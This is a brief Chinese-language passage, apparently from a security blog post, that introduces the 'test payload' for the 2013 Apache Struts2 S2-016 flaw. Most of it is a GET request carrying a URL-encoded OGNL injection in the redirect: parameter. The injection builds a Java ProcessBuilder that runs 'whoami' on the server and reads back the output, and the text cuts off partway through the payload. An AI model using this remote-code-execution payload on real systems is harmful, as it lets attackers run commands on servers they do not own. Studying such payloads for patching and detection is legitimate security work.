先说一下Struts2 2013 S2-016的测试payload代码是如下的。
GET /xxxxxxx/rf/userAction!login.action?redirect:$%7B%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%27whoami%27%7D%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%...